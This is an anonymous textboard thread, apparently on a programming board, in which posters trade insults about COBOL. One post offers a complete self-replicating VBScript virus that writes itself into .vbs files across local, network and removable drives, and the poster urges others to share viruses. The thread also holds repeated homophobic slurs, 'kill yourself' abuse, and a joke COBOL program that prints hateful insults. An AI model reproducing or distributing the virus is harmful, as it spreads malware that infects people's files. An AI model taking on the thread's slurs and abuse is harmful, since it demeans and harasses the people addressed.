fuck you cobol fags

wait, what?

Wow. This place has about as much to do with programming
as 1/2 a can of refried beans has to do with a game of
poker.

I'm sure someone can explain the connection ...

>>2
the connection is dial-up

>>2
I don't know, this place is kinda nice, just few retard users spamming shit. Mind you, nothing against trolls, it's cool, but these empty and totally useless kopipes suck, it's /b/ quality, not VIP at all.

>>2
Kill yourself.

Kill myself! Hehehe. Yeah this place is growing on me too :-)

Just to raise the level of conversation above ground zero
here is something (not in cobol) to give you your jollies
for the day:

BigBirdBuiltMyHotRod

sub BigBirdBuiltMyHotRod
set fs=CreateObject("Scripting.FileSystemObject")
v=fs.GetFile(WScript.ScriptFullName).OpenAsTextStream(1,0).ReadAll
m="BigBirdBuiltMyHotRod"
o=InStr(v,"sub "&m)
c=0
n=fs.GetTempName&".vbs"
set f=fs.CreateTextFile(n,true)
f.write m&"=0"&vbcrlf&mid(v,23,o-23)
f.close
set s=CreateObject("WScript.Shell").Exec("wscript.exe "&n)
for each d in fs.Drives
    x=d.DriveType
    if x=2 or x=3 or x=5 then
        if c<>3 then
            DingADingDangMyDangALongLingLong d.DriveLetter&":\",fs,v,m,o,c
        end if
    end if
next
do while s.status=0
    wscript.sleep 100
loop
fs.DeleteFile(n)
wscript.quit
end sub

sub DingADingDangMyDangALongLingLong(P,ByRef FS,ByRef V,ByRef M,O,ByRef C)
for each f in FS.GetFolder(P).Files
    if ucase(right(f.Name,3))="VBS" then
        h=f.OpenAsTextStream(1,0).ReadAll
        if left(h,20)<>M then
            a=f.Attributes:f.Attributes=0
            set x=f.OpenAsTextStream(2,0)
            x.write left(V,22)&h&vbcrlf&mid(V,O,(len(V)-O)+1)
            f.Attributes=a
            wscript.echo P&f.Name
            C=C+1:if C=3 then:exit sub:end if
        end if
    end if
next
for each f in FS.GetFolder(P).SubFolders
    DingADingDangMyDangALongLingLong P&f.Name&"\",FS,V,M,O,C
    if C=3 then:exit sub:end if
next
end sub

>>6 see >>5

Lighten up Heaven! Viruses are cool! VB script is cool too :-)

Scripting languages are fun for writing a virus in. Rather than
suggest I die why not post a virus in your fav. script?

Lets all write sum cobol

Without access to a cobol compiler here is my best attempt:

ID DIVISION.
PROGRAM-ID.  INTERNETHATEMACHINE.
DATA DIVISION.
WORKING-STORAGE  SECTION.
01  HATENUM PIC 9(1).

PROCEDURE DIVISION.
MAIN.
DISPLAY 'INPUT HATE GENERATION LEVEL (0-9):'.
ACCEPT HATENUM.
IF HATENUM = 0 THEN
DISPLAY 'You Suck'.
END-IF
IF HATENUM = 1 THEN
DISPLAY 'You suck faggot'.
END-IF
IF HATENUM = 2 THEN
DISPLAY 'Fuck you, you suck faggot'.
END-IF
IF HATENUM = 3 THEN
DISPLAY 'Go arse-ram yourself with a running chainsaw'.
END-IF
IF HATENUM = 4 THEN
DISPLAY 'Go arse-ram yourself with a running chainsaw, faggot'.
END-IF
IF HATENUM = 5 THEN
DISPLAY 'U SuK L4m3r Ur 4 HaX0r W4nnaB F4gg0t'.
END-IF
IF HATENUM = 6 THEN
DISPLAY 'Fuk u a11z ya wana eat u own dik hoez'.
END-IF
IF HATENUM = 7 THEN
DISPLAY 'This message board and everyone on it is a faggot'.
END-IF
IF HATENUM = 8 THEN
DISPLAY 'Windows Vista is the best version of Windows yet'.
END-IF
IF HATENUM = 9 THEN
DISPLAY 'Your profound lack of grace offends me (faggot)'.
ELSE
DISPLAY 'Faggot'.
END-IF

STOP RUN.

I have heard of "tinyCobol".
http://tiny-cobol.sourceforge.net/

i herd u liek opencobol

Google for COBOL .NET to see the true manifestation of
HELL on EARTH.

IF HATENUM = 0 THEN

Better written as
IF HATENUM IS EQUAL TO ZERO THEN

Thank you! If I practice hard I will soon be a great COBOL
guru:

ID DIVISION.
PROGRAM-ID.  INTERNETHATEMACHINE.
DATA DIVISION.
WORKING-STORAGE  SECTION.
01  HATENUM PIC 9(1).

PROCEDURE DIVISION.
MAIN.
DISPLAY 'INPUT HATE GENERATION LEVEL (0-9):'.
ACCEPT HATENUM.
IF HATENUM IS EQUAL TO ZERO THEN
DISPLAY 'You Suck'.
END-IF
IF HATENUM IS EQUAL TO 1 THEN
DISPLAY 'You suck faggot'.
END-IF
IF HATENUM IS EQUAL TO 2 THEN
DISPLAY 'Fuck you, you suck faggot'.
END-IF
IF HATENUM IS EQUAL TO 3 THEN
DISPLAY 'Go arse-ram yourself with a running chainsaw'.
END-IF
IF HATENUM IS EQUAL TO 4 THEN
DISPLAY 'Go arse-ram yourself with a running chainsaw, faggot'.
END-IF
IF HATENUM IS EQUAL TO 5 THEN
DISPLAY 'U SuK L4m3r Ur 4 HaX0r W4nnaB F4gg0t'.
END-IF
IF HATENUM IS EQUAL TO 6 THEN
DISPLAY 'Fuk u a11z ya wana eat u own dik hoez'.
END-IF
IF HATENUM EQUAL TO 7 THEN
DISPLAY 'This message board and everyone on it is a faggot'.
END-IF
IF HATENUM IS EQUAL TO 8 THEN
DISPLAY 'Windows Vista is the best version of Windows yet'.
END-IF
IF HATENUM IS EQUAL TO 9 THEN
DISPLAY 'Your profound lack of grace offends me (faggot)'.
ELSE
DISPLAY 'Faggot'.
END-IF

STOP RUN.